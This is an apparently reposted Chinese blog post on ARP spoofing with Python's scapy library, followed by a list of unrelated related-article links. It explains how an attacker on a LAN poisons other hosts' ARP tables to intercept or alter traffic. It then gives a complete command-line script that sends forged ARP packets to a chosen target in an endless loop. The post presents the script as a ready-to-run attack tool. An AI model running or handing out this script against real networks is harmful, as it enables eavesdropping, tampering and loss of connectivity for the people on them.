python 使用scapy库进行ARP欺骗
2015-05-14 21:20
246 查看
1. 说明
ARP欺骗(ARP spoofing),又称ARP病毒(ARP poisoning)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定电脑或所有电脑无法正常连接。最早探讨ARP欺骗的文章是由Yuri Volobue所写的《ARP与ICMP转向游戏》(ARP and ICMP redirection games)。由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在主机A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,主机A不能Ping通主机C!这就是一个简单的ARP欺骗。
一个简单的例子:这里用一个最简单的案例来说明ARP欺骗的核心步骤。假设在一个 LAN 里,只有三台主机 A, B, C, 且 C 是攻击者。
1. 攻击者聆听局域网上的MAC地址。它只要收到两台主机洪泛的ARP Request,就可以进行欺骗活动。
2. 主机A,B都洪泛了ARP Request.攻击者现在有了两台主机的IP、MAC地址,开始攻击。
攻击者发送一个 ARP Reply给主机B,把此包protocol header 里的sender IP设为A的IP地址, sender mac设为攻击者自己的MAC地址。
3. 主机B收到ARP Reply后,更新它的ARP表,把主机 A的条目 (IP_A, MAC_A)改为(IP_A, MAC_C)。
4. 当主机B要发送数据包给主机A时,它根据ARP表来封装数据包的Link报头,把目的MAC地址设为MAC_C,而非MAC_A.
5. 当交换机收到B发送给A的数据包时,根据此包的目的MAC地址 (MAC_C) 而把数据包转发给攻击者C.
6. 攻击者收到数据包后,可以把它存起来后再发送给A,达到偷听效果。攻击者也可以篡改数据后才发送数据包给A,造成伤害。
2. python 代码
#!/usr/bin/env python from scapy.all import * import sys, getopt def usage(): print "Usage: sudo ./arpSpoofer.py [-i interface] <target> <host>" def main(argv): try: opts, args = getopt.getopt(argv, "hi:t:") except getopt.GetoptError: usage() sys.exit(2) for opt, arg in opts: if opt in ("-h"): usage() sys.exit() elif opt in ("-i"): conf.iface = arg if len(args) < 2: usage() sys.exit(2) send(ARP(op="who-has", psrc=args[1], pdst=args[0]), loop=1, inter=0.5) if __name__ == "__main__": main(sys.argv[1:])
相关文章推荐
- 使用Python进行AES加密和解密的示例代码
- python 进行多线程编程,使用Semaphore控制线程数
- 使用python进行小游戏编写
- 由于Python本身自带的界面库功能并不强大,我们使用Python+wxPython作为界面开发平台,在公司新的项目中进行界面开发。开发过程使用Eclipse+PyDev 作为集成开发环境。产品发布时使用Py2exe进行打包。如今,在我的团队中,Pytho
- 使用 Python 进行线程编程
- 使用SWIG和Python对C/C++进行单元测试(一)
- 使用SWIG和Python对C/C++进行单元测试(二)
- 使用Eclipse和Ant进行python开发
- 使用 Python 进行线程编程
- 使用Python进行验证码识别
- 使用ropemacs对python代码进行补全
- 使用 Python 进行线程编程(转)
- 使用SWIG对Python进行扩展
- 使用 Google API 进行翻译的 Python 小工具
- 使用 Google API 进行翻译的 Python 小工具
- 使用Python进行二进制文件读写
- 使用Python进行二进制文件读写
- 转贴: 【python】使用zlib进行压缩解压
- 使用python+cron对php状态进行定时监控
- windows下配置eclipse + Python + PyDev + tornado,并使用pylint进行静态检测